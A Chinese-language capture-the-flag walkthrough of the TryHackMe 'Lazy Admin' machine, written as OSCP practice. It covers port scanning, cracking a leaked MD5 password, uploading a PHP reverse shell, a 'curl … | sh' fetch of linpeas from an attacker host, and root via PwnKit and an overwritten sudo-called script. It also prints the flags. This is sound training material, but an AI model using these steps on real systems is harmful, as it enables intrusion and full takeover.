tryhackme 记录-linux-0x07 Lazy admin(easy)

来源

由于最近在备考 OSCP,在套餐开始前,心里没底,想要先刷一些靶机来练手,所以在网上找到了一份类似 OSCP 靶机的清单

Tryhackme
More guided and friendly approach for some rooms but still great boxes and rooms for prep. Active Directory ones here are very good practice for the OSCP.
Linux Windows Active Directory and Networks Other recommended rooms
Mr Robot(medium) Steel Mountain(easy) Attacktive Directory SQL Injection Lab
Thompson(easy) Year of the Owl(hard) Attacking Kerberos Linux Privilege Escalation
Kenobi(easy) Retro(hard) Wreath Network Windows Privilege Escalation
GameZone(easy) Alfred(easy) Reset Git Happens
Skynet(easy) Relevant(medium) Vulnnet: Active NahamStore
Daily bugle(hard) Blueprint(easy) Enterprise
Lazy admin(easy) Hackpark(medium) Ledger
Tomghost Weasel(官方似乎删除了,没找到) Recommended paths
Rootme AllSignsPoint2Pwnage Assumed Breach Scenarios: Cyber Security 101
CMesS Anthem Corp Jr Penetration Tester
Ultratech Hack Smarter Security (harder) Lateral Movement and Pivoting Offensive Pentesting
Internal Cyberlens Exploiting Active Directory
Zeno
Boiler CTF
Wonderland
Silver Platter
Year of the Jellyfish

由于机器数量较多,共 47 台,计划一天打 1-2 台,在一个月内打完全部机器。目前已将 Windows 部分打完。

0x07 Lazy admin(easy)

简介:

玩得开心点!获取用户访问权限可能有多种方式。

原文:

 Have some fun! There might be multiple ways to get user access.

设置环境变量

export TARGET=10.48.137.85

信息搜集

使用 rustscan 和 nmap 进行端口扫描

rustscan -a $TARGET -r 1-65535 --ulimit 500 -- -sC -sV -T3 -Pn

Open 10.48.137.85:22
Open 10.48.137.85:80

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:7c:f7:41:10:43:73:da:2c:e6:38:95:86:f8:e0:f0 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo0a0DBybd2oCUPGjhXN1BQrAhbKKJhN/PW2OCccDm6KB/+sH/2UWHy3kE1XDgWO2W3EEHVd6vf7SdrCt7sWhJSno/q1ICO6ZnHBCjyWcRMxojBvVtS4kOlzungcirIpPDxiDChZoy+ZdlC3hgnzS5ih/RstPbIy0uG7QI/K7wFzW7dqMlYw62CupjNHt/O16DlokjkzSdq9eyYwzef/CDRb5QnpkTX5iQcxyKiPzZVdX/W8pfP3VfLyd/cxBqvbtQcl3iT1n+QwL8+QArh01boMgWs6oIDxvPxvXoJ0Ts0pEQ2BFC9u7CgdvQz1p+VtuxdH6mu9YztRymXmXPKJfB
|   256 2f:d7:c4:4c:e8:1b:5a:90:44:df:c0:63:8c:72:ae:55 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBC8TzxsGQ1Xtyg+XwisNmDmdsHKumQYqiUbxqVd+E0E0TdRaeIkSGov/GKoXY00EX2izJSImiJtn0j988XBOTFE=
|   256 61:84:62:27:c6:c3:29:17:dd:27:45:9e:29:cb:90:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILe/TbqqjC/bQMfBM29kV2xApQbhUXLFwFJPU14Y9/Nm
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WEB 访问及目录扫描

80 端口

apache 默认页面,版本 Apache httpd 2.4.18

目录扫描及网页文件扫描

ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c

content

发现一个 CMS:SweetRice,继续扫描 content 目录

ffuf -u http://$TARGET/content/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c
ffuf -u http://$TARGET/content/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c

inc 存在目录遍历

inc/lastest.txt 泄露版本号:1.5.1

inc/mysql_backup/泄露数据库备份

as 登陆点

初始访问

备份获得密码

数据库备份文件中存在用户名和密码的 md5

# 写入文件
echo '42f749ade7f9e195bf475f37a44cafcb' > hash.txt

# 用hashcat解
hashcat -m 0 -a 0 hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt

# 用john解
john --format=raw-md5 --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt hash.txt

均可解出:Password123,登录 as

后台 getshell

尝试在附件上传一个 php reverse shell

似乎并没有上传上去,但是测试 txt 可以上传,猜测是被拦截了,修改后缀为 php5

开启监听

python3 penelope.py -O

访问触发

shell 到手

问题 1:What is the user flag?(THM{63e5bce9271952aad1113b6f1ac28a07})

提权

信息搜集

开启 lpe 辅助服务,靶机执行 linpeas

# 且临时目录
cd /tmp

# 加载并执行
curl http://192.168.196.107/linpeas.sh | sh

# curl不存在,用wget先下载下来
wget http://192.168.196.107/linpeas.sh

# 给可执行权限
chmod +x ./linpeas.sh

# 执行
./linpeas.sh

方法 1-pwnKit 提权

直接打

架构不对,uname -a 查了一下原来是 x86 的,用 32 位 pwnKit 成功提权

问题 2:What is the root flag?(THM{6637f41d0177b6f37cb20d775124699f})

方法 2-通过可写的 sudo 执行脚本实现提权

可以不用密码就能执行/usr/bin/perl /home/itguy/backup.pl

如果 backup.pl 可以修改,则可以直接改写成拿 shellde 代码,检查权限,并没有可写权限

但是还是可以检查一下 backup.pl,因为可能存在其他利用方式

果然,backup.pl 内调用了/etc/copy.sh,那么我们检查/etc/copy.sh 权限即可

很幸运,对于这个脚本当前用户具有 rwx 权限,所以可以修改内容,这里可以写入反弹 shell 的命令,也可以直接写切 shell 的

懒得拿新 shell,切 session 了,直接切 shell 吧

echo '/bin/bash' > /etc/copy.sh
sudo /usr/bin/perl /home/itguy/backup.pl

提权成功

总结

  1. 提权的时候如果碰到 a 文件可以用 sudo 无密码执行,但是当前用户对 a 文件不具有写权限,那也可以继续检查一下 a 文件的内容,可能他会调用 b 文件,或者通过参数完成提权
  2. 上传 shell 的时候检查是否被拦截,尝试传 txt 或图片文件进行验证